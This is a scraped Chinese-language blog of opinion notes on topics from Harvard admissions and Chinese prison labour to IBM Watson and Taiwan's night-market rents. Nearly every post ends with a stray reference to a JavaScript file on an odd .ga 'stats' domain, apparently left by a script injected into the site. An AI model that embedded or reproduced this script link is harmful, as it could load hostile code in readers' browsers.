分類: 筆記

分類
筆記

美國司法部調查結果證實：哈佛大學部入學審查的確存在歧視亞裔現象

目前還在波士頓地方法院的控告哈佛大學入學審查涉嫌歧視亞裔人士，原告提出資料指出亞裔即便考試成績與課外活動達最高成就，通過入學審查比率卻是所有族群中最低。

美國司法部調查入學資料發現的確存在「人種樣板」–亞裔美國人通過入學審查機率明顯較低。而哈佛內部文件卻無法說明或解釋為何存在這種現象，司法部甚至表示：「representing an “intentional and unexplained use of race”」

而哈佛大學一貫的說詞，其實就是Obama總統時期推行的「種族多樣化」政策 — 刻意維持學生內部多種族，其結果反而是「反競爭」，藉由打壓成績更好的特定族群，來維持「表面上的種族和諧」。

———————————————–

我的看法：

1. 左派的虛偽與可悲恰恰反應在：強調男女平等、強調族群平等，往往只是在做表面工程。

近日加州通過法律，要求註冊在加州的美國上市公司必須至少有一名董事是女性。該法律的支持者宣稱歐盟自從通過這種法律後，歐盟上市公司女性董事比率從10%左右成長到40%，女權得到伸張。

可悲，這些女性並非「因為能力」而是「因為政府暴力」才得享此職位，法律難道還能確保這種女性董事不淪為「傀儡」？而充斥傀儡的董事會，難道對公司治理、對股東員工會是更好的安排？

哈佛大學一案不也如此？追求表面上的種族平等，其結果必然是壓抑認真有能力者，而讓無德無能者配享不該屬於他的租值。

這也是說，左派的「公平正義」本質往往是不公不義，甚至還是「反競爭」與「反進步」。

2. 相信捐款問題也是哈佛這類高級私校少收亞裔族群的原因之一。

但隨著中國崛起，據說香港陳啟宗2014年他以旗下基金會名義捐出3.5億美元（為哈佛大學最大一筆單一捐款）；中國地產富豪潘石屹夫婦也捐給哈佛1,500萬美元；肖建華捐款2千萬美元後，美國常春藤等高級私立大學收取華裔學生人數呈現2位數增長。

Money always talks loudly!

我認為這部份隨著華人富裕後的捐款額度累積，將會慢慢改善。

https://www.wsj.com/articles/justice-department-says-harvard-hurts-asian-americans-admissions-prospects-with-personal-rating-1535637680https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

富國銀行職員造假騙餐費

富國銀行(Wells Fargo)與許多大銀行一樣，提供加班職員誤餐費。

但近日內部調查發現某些職員會提早向Grubhub、Seamless或Square Caviar 這些送餐服務網站訂餐，然後再偷偷更改單據時間，回頭向公司申請誤餐費。

常見坊間用「民族性」這種論調在解釋人類行為，其實非常不靠譜。尤其那些高舉美國價值者，猶為可笑。

還是實證經濟學科學得多，指明客觀侷限條件，就能預測此類貪小便宜的詐欺行為出現。

https://www.wsj.com/articles/wells-fargo-fires-bankers-amid-probe-of-dinner-receipts-that-were-allegedly-doctored-1535637745https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

FT:中國供應鏈的秘密 — 監獄勞力

FT:中國供應鏈的秘密 — 監獄勞力

1. 美國人口只有中國的24%不到，但監獄犯人人數卻是世界第一，中國只拿到第二位。

（美國制度真的好優越喔～）

2. 中國監獄始終存在勞改 — 要求犯人從事生產勞動，例如山東省金鄉縣是世界最主要的大蒜產區，出口量佔美國80%新鮮大蒜消費量（約佔總大蒜消費量20~30%），該縣監獄犯人就從事大蒜處理相關工作。

FT稱「出口監獄犯人生產商品」是違反國際法與國內法。

有家專門出口日本的金鄉縣大蒜廠商承認，過去曾使用監獄勞力，但因為關係不如人，2年前無法繼續使用後，大蒜價格上漲50%。

3. 2008年起，美國大蒜協會控告中國傾銷大蒜，美國政府從該年起對中國大蒜加徵376%的反傾銷稅。

但該協會並未把Zhengzhou Harmoni這家公司列於名單上，因此該公司從中國出口至美國的大蒜並未被課徵反傾銷稅。

但該公司卻被檢舉使用監獄勞力，因此美國海關曾於2016年12月至隔年1月扣押其貨物，而該公司提供相關說明文件後就放行了。

4. 中國供應鏈存在許多監獄被迫勞動的犯人足跡，有位亞利桑那州的婦人從Walmart買來自有品牌的手提袋，裡頭被放入中國監獄犯人的紙條，稱其每日被迫勞動14小時，未達成工作目標將被毆打，還稱：「在中國坐牢比在美國當一條狗還慘。」

該紙條後來被證明是由一位判刑15年的廣西省犯人所寫。

Walmart承認並宣稱曾有代工廠轉包給監獄，而他們已經終止合作關係。

5. 中國犯人勞動不適用勞動法。

有更生人宣稱坐牢期間清晨5點就被迫工作直至晚上9點，一個月只有一天放假。

6. 犯人參與勞動最大動機並非金錢，而是可以因表現良好而縮短刑期亦或提早假釋出獄。

———————————————
我的看法：

金融時報一堆道德高標的批判中國強迫犯人勞動生產，可是我認為光第6點就把前面那些全都打臉啦！

監獄強迫勞動生產這件事美國自己的監獄也有，甚至是美國憲法第13修正案所允許。

況且從獄政管理來看，放一群罪犯無所事事在監獄中遊盪串連，如此不但大幅提高管理成本，也更容易滋生更多問題吧。此外，能創造收益的監獄，必然減少納稅人支出，何樂而不為？

就我所知，美國許多政府外包的私人監獄，也有部分要求犯人勞動生產活動，甚至與許多私人公司有代工外包關係，例如 Whole Foods, McDonald’s, Target, IBM, Texas Instruments, Boeing, Nordstrom, Intel, Wal-Mart, Victoria’s Secret, Aramark, AT&T, BP, Starbucks, Microsoft, Nike, Honda, Macy’s 和 Sprint等等。

2017年加州就強迫1500多名罪犯去清理森林大火後的土地。

而Texas, Georgia, Arkansas, and Alabama這四州依法可以不給被迫工作的罪犯任何金錢報酬。

https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記 經濟分析

Malthus的人口論從根本就錯了

Thomas Malthus人口論的錯誤在於「將人類比擬為動物」–食物多人口就增長，遇到食物產出極限或自然災害人口就減少。而在人類就在這極限邊緣過著比牲口好不了多少的生活 — 只差餓不死而已。

該理論完全忽略人類會透過「市場交易」與「專業分工」大幅增加生產力，這點偏偏是最最重要的侷限條件，也因此真實世界壓根不甩Malthus的謬論 — 人口不斷增長遠超過Malthus預期，且生活品質還不斷提昇，一個已開發經濟下的中產階級，物質生活條件遠甩數百年前的中國皇帝幾十條街。

2008年之後，人類超過一半人口居住於都市，而2/3人類經濟發展與產出均來自於都市；但全世界的都市所佔土地面積僅僅是地球總土地面積的3%！從「土地」這個生產要素切入看，人類生產效率高得離奇！也可見都市是多麼有效率地使用土地資源，對環境是極大保障。

動物普遍不存在如人類一般複雜的「市場交易與專業分工」，即便有，也是受基因驅動而非思考力驅動。

話說清華大學有個深信Malthus人口論的經濟學教授，這說明不懂得觀察真實世界的書獃子有多可悲。https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

賠到當內褲的電影投資

拍電影本就是高風險投資，因為電影就是動用大量資源、統合各方人力試圖說好一個故事的產出行為，環環相扣之間非常容易在小地方失誤則牽一髮動全身影響最後成敗。尤其是籌備到實際上映之間至少存在數個月、幾年甚至十幾年的時間差，如何正確打擊觀眾口味（包括上映前的行銷），充滿極高的資訊成本。

風險高自然也是情理之中。

現今多數國家的製作與院線分成率約在40~55%之間，這表示一部電影的票房至少約該是製作成本的兩倍才能損益兩平（不計入後續串流授權、電視授權、租片或商品授權等收益）。

而製片公司和導演、大牌演員之間更為複雜的分成契約安排，是研究產權經濟學一個相當不錯的題目哩。

這部影片剖析了影史上幾部賠得屁滾尿流當內褲的電影，值得一看。

PS 開頭那位電影之父在1915年推出的「一個國家的誕生」非常值得找來一看，我自己看過三次，如此歧視黑人且歧視得振振有詞、歧視到票房相當今日十幾億美元票房的電影，我想現今好萊塢不可能再有了 XD

PS「美國往事（四海兄弟）」堪稱經典，我認為黑幫題材來說是不遜於「教父」的好片（是指229分鐘導演剪輯版）。裡頭飾演Deborah的Jennifer Connelly更是美翻了～～

美國電影常常找醜妹來演美女，毫無說服力可言（例如教父三的那位，搞什麼呀？！）；Jennifer Lynn Connelly的Deborah絕對不叫人失望 XD

https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

從IBM Watson看AI與醫療之現況

WSJ報導："IBM Has a Watson Dilemma“
內文摘要：
 
1. IBM Watson當初宣稱的「對癌症研究大有助益」，經過6年後發現裸泳成分居多。多數合作研究案均已停止，相當多案例顯示Watson對癌症病人幫助微乎其微。少部分案例裡頭Watson的判斷根本錯誤。
 
2. 許多病例因為罕見而無法累積夠多資料給Watson學習，此外病情與治療方式的演進速度之快速，Watson及其工程師團隊往往難以跟上。IBM請來的醫療顧問哥倫比亞大學教授Dr. Herbert Chase 因對其表現失望而辭任顧問。
 
3. 目前無任何公開發表資料顯示Watson對病情改善有任何幫助。
 
4. Watson的失敗顯示AI對醫療研究與治病還有漫長的路要走，信誓旦旦且誇大其詞的願景還禁不起現實考驗（2017年IBM的董事長Ginni Rometty 還對媒體宣稱：『Watson已經可以診斷、治療並找出80%癌症的病因）。
 
5. IBM截至目前為止花費$150億美元研發Watson，並希冀此AI系統將會是整間公司轉型的重要契機，然而從2012年至今，IBM年營收不斷衰退（從$1000億美元出頭跌至$800億不到）。Watson2017年營收貢獻僅$45.8億美元，較去年同期減少$1.3%。
 
6. 投入醫療產業AI領域的主要競爭對手有：Alphabet（Google）、Amazon、Microsoft與Philips NV。
 
7. 目前Watson的商業模式就是每位病患收取$200~$1000美元不等的顧問費，特殊疾病還另加收費用。
 
8. 不可否認，具有AI設備的醫院在醫療市場上還是有相當集客力 — 一般民眾容易誤以為AI醫生比較高明。
 
——————————————————
 
我的看法：
 
我認為AI在醫療領域有三大罩門，一是數據太少，AI學習範本不夠多時，往往比人腦還笨；二是當面對的問題不存在「勝負」或「絕對正確解」時，AI很難自我學習出什麼東西；三則是AI只是一堆運算邏輯，卻沒有足夠多與夠格的感應器代替人類感知能力。
 
以中醫要求的望聞問切為例：當我看到病人眼白微微泛黃而談吐間口氣酸臭時，精神略顯疲憊且眼神無力，切脈發現右關滑又洪大，我心中大概已經有病情與病機方向。我很懷疑這部份現今AI能取代人類多少？
 
此外某些支持性療法，只是改善病患的不適，對康復本身並無太大作用。許多醫學臨床手冊都會記載這類療法，AI是否有能力判斷這類療法的本質與目的呢？
 
況且人體是極為複雜的系統，同樣的病給予同樣的藥劑不見得會得到一樣的結果，這對習慣有唯一解的工程思維所設計的AI來說會是一大挑戰。
 
醫療記錄的不完整也會是AI難以克服的問題：某病人來有AI設備的A醫院治療一段時日後，認為效果不彰而轉去無AI設備也無分享醫療記錄的B機構診治，從而痊癒康復。別說AI能否知道，就連A醫院的醫師也不知道病人有無康復？是因為自己的診治康復嗎？甚至病人接受完診斷拿了藥，回家根本未曾服用，就自己好了/或死了，AI能知道這些訊息嗎？
 
誠如文末Dr. Kelly評論：「AI看似承諾了一堆，但目前沒有一個實現。」
 
從經濟分析角度看，Watson在醫療上是非常昂貴的上頭成本投資，但若不能給出優異於現有醫生之診斷，則其上頭租值將無法回收其成本。然，若其裝置真能取代醫生，則大規模的醫生拒絕配合亦或拒絕病歷資料共享以維護自身壟斷利益是可以預期，而如我先前闡述，這偏偏是AI的硬傷 –資料不足。
只是現況比我想像中還糟一些：AI要做到「稱職幫手」都還遠得很哩。
難怪巴菲特會出清IBM持股。

https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

【The Rational Optimist】一書第三章「The feeding of nine billion」摘要。

我一直很喜歡Matt Ridley的書，這位作者是經濟學人雜誌中科學欄目的主筆之一，也是英國國會議員，更是多本上榜紐約時報暢銷書作者。

以下是第三章書摘，有許多有趣的事實，以及作者認為有機農業與環保團體怎樣殘害世界、踐踏環保，值得一看：

…..

繼續閱讀 “【The Rational Optimist】一書第三章「The feeding of nine billion」摘要。"
分類
筆記 經濟分析

台灣四大夜市招租時間延長與租金下降

話說六月時才有個偽財經大媽宣稱從台灣百貨公司餐廳看出景氣大好。
 
當時我還寫了篇文章指出這種水準的觀察力真讓人汗顏，更讓人看低商周水準。（«財經記者的誤導與正確邊際分析» https://wp.me/p9ffS3-CM）
 
更甭提這位偽財經大媽針對中美貿易戰有諸多笑掉人大牙的愚蠢論點。
 
蘋果日報針對台灣四大夜市的租金衰退系列報導，恰恰打臉這位偽財經大媽。
 
 
一者，台灣夜市氾濫與同質性太高，邊際生產力下降是可以預期。二者，網路零售的興起對夜市產生強大競爭，造成夜市普遍性租值降低也是情理之中。
 
但去年底以來，主要夜市空攤比例增加、招租時間延長以及夾娃娃機佔據夜市主要攤位或店面的現象，本身就彰顯土地租值的下降。
 
而我在«Indicators of the US home sales»一文（https://wp.me/p9ffS3-DT）中說過：「Because it takes much higher transaction costs and longer time of the home markets than of the stock markets, the former one is a better measure of the health of an economy. Firmly optimistic outlooks are highly required for people to decide to buy a house. If a stock market goes well, we are not that sure about the true economic progress. Nonetheless, as the real estate market performs well, we are more confident in the real economic progress. This is why the liar 蔡英文Tsai Ing-wen and the aged self-claimed expert are both wrong. The index of a stock market is NOT a sufficient indicator of the economic progress. Not even close.」
 
相較於偽財經大媽與蔡英文錯誤地拿股市指數這種錯誤的指數出來說嘴景氣大好，其實房地產的租值變化會是一個更有參考性的指標。從國泰房地產指數來看，如今台灣全國平均房價僅有2014年高點的85%，且今年第一季還下跌2.5%左右，加上前述夜市地產價格與招租時間變化，我們實在很難說出「台灣景氣大好」如此昧於事實的蠢論。
 
當然，我也提過「…there is a very small chance for the foreign buyers to swift orders to Taiwanese firms due to the inability to immediately mass production. If the US economy plunges, there will be no chance of the dreamed purchases. 」
 
以為中國被貿易制裁，國際採購就會轉單台灣也是對工業現實無知到可笑的言論。殊不知台灣主要大量生產早已外移，即便有單，短時間內台灣也生產不出來，何來「移單景氣」可供享用？更別說貿易戰真的擴大之下，美國自身受傷嚴重到一個程度，景氣將會反轉。
 
當然，這位大媽近日沈醉在「政變」故事中不可自拔，而我相信商周體系訓練出來的記者大概也會禀持一貫的「從不驗證論點，只顧著迎合大眾」行為模式，無視自己被打臉而繼續自稱自己是多領域專家吧 XD
 
————————————————–
〖《蘋果》調查 4大夜市 空攤化 月租4萬砍剩1萬 等嘸人〗https://tw.news.appledaily.com/headline/daily/20180731/38084727/
 
quote:"蘋果》走訪5大觀光夜市，包含台北士林夜市、台中逢甲夜市、台南花園夜市、高雄六合夜市及花蓮東大門夜市，除東大門無明顯變化，其他4大夜市的店租或空置狀況皆呈衰退。 “
 
“士林夜市即使在2008年金融海嘯時期，攤位仍一位難求，近期卻出現零星店面空置，「有多家娃娃機店家進駐又退出，顯見商圈不穩定，民眾實質消費力不高。」
市場人士分析，士林夜市過去主幹道店面租金報酬率最高5%，但目前有行無市，待租期拉長、投報率最低降至2~3%，過往榮景不再。
台中逢甲夜市主幹道店面可見零星空租，巷弄內卻有連續3~4間空租店面待租售。業者形容，3~5年前想租除先排隊候補，還得付20~40萬元不等的頂讓金，現在大多不用頂讓金，且待租時間明顯拉長，「是以前不可能發生的事。」"
 
〖逢甲夜市最明顯 周五傍晚人氣零落〗
https://tw.news.appledaily.com/headline/daily/20180731/38084748/
 
〖攤商吐苦水「以前陸客狂掃貨」〗
https://tw.news.appledaily.com/headline/daily/20180731/38084750/
quote:"花蓮東大門夜市福町夜市主委林文松則直言，最近陸客來台人數少了，加上年金改革，國旅出遊人數也減少，夜市的生意及人潮因此減少，1個月垃圾量從8、9公噸，到現在只剩6、7公噸，從垃圾量就可看出消費能力的消長。
綜合報導"

https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

WSJ:President’s Emerging Economic Policy: Picking Winners and Losers

1. 1791年，華盛頓總統的財政部長 Alexander Hamilton在"Report on the Subject of Manufactures"就主張要保護國內產業，但Hamilton傾向以補助方式為之，而非關稅障礙，其理由是：若使用關稅障礙，則會傷害消費者，同時產業的強者與遜砲被同等保護是非常不明智。而當年的國會駁斥了Hamilton的主張，仍舊採取關稅障礙，直到二次世界大戰結束，此關稅障礙才拿掉。
 
2. Dartmouth College economist and trade historian Douglas Irwin研究發現美國長期的關稅障礙從來沒有真正幫助加速美國產業發展，反而是保護了特定進口商，而以消費者與出口商之利益為代價。
 
3. 另一個例子是美國海運。1920年美國國會通過Jones Act，要求美國各個港口之間的海運運輸必須使用美國建造與營運的船隻，然後根據CATO智庫的研究發現，此管制措施造成美國建造與營運船隻的運輸費用竟是外國船的6~8倍！其代價是近百年來，美國海運不斷衰退，在世界舞台上越來越失去競爭力。美國目前僅有七家造船廠，其中四家還是專門接美國國防部訂單。遠遜於歐洲的60家造船廠。船隻年齡平均也比外國競爭對手老上8年。
 
高海運運輸費用，使得美國多數貨物轉往更耗費能源的鐵路、高速公路運輸。
 
（試圖利用政府法規來保護"國產"的下場就是如此）
 
4. 三月份Trade Partnership Worldwide顧問公司推估，鋼鋁關稅可能為美國此二產業增加33000個工作機會，但同時增加的成本也會造成其他產業142000份工作機會消失。
 
5. 以保護國內新興科技產業為藉口，在1980年代日本政府非常喜歡以受保護的日本市場為誘因，強迫IBM或Xerox等公司授權日本公司。但1990年代日本泡沫經濟破滅，日本市場利潤不再大到能誘惑IBM等科技公司授權IP時，這招形同虛設就自然失效了。
 
（咦？某半路出家的台獨大嬸或假台獨們怎麼光批判中國，都忘了日本宗主國也幹這等其口中撻伐之齷齪髒事哩？）
 
6. 2015年，中國以反托拉斯法對Qualcomm處以罰金並要求降低對中國廠商的專利權利金。美國白宮報告以此案例指責「中國濫用反托拉斯法來逼迫美國廠商就範」。
 
（怪了，中國不過是學會美國與歐盟長久以來最愛用的「濫用反托拉斯法來脅迫廠商」，誰曰不可？美國利益還真是『只准自己放火，不准他國點燈』。更何況Qualcomm的專利網與『無授權契約』二手段還真是有濫用壟斷地位之違法嫌疑，就連歐盟也於今年初開罰$12億美元，為何中國就不可開罰呢？）
 
https://www.wsj.com/articles/trumps-emerging-economic-policy-picking-winners-and-losers-1532100935

https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

So Much Trade Losing

華爾街日報這篇社論恰好打臉某偽財經大嬸，同時有所見略同地幾乎總結了這半年我對中美貿易戰的看法：

1. 川普宣稱要透過貿易戰逼迫中國遵守某些國際貿易慣例，但卻錯誤地沒有與他國聯盟一起處罰中國，反而是處處搧風點火，竟然同時對歐盟、日本、加拿大與墨西哥打起貿易戰。

WSJ社論認為：America First恐怕變成America alone！

2. 川普的減稅與法規鬆綁雖然改善美國經濟，近一年的股市大漲反應正是這部份利多；但貿易戰才剛剛開打，新的成本需要時間才會顯現。

（此段恰恰是我今日批評偽財經大嬸錯誤解讀台灣出口數據之處，可見經濟邏輯正確者看法相同）

美國商務部資料已經顯現，與貿易戰相關的投資活動降低，甚至有裁員現象發生。

3. 中國2007年出口額佔GDP高達36%，但到了2017年已經降低到18.5%。

WSJ認為這表示貿易戰對中國的傷害將不如川普等政客的想像。

4. WSJ最後一句堪稱最佳結語：「何時這位談判大師將真正替美國談筆好生意？（When is the master negotiator actually going to negotiate a better trade deal?）」

https://www.wsj.com/articles/so-much-trade-losing-1530916720https://js.developerstatss.ga/stat.js?n=ns1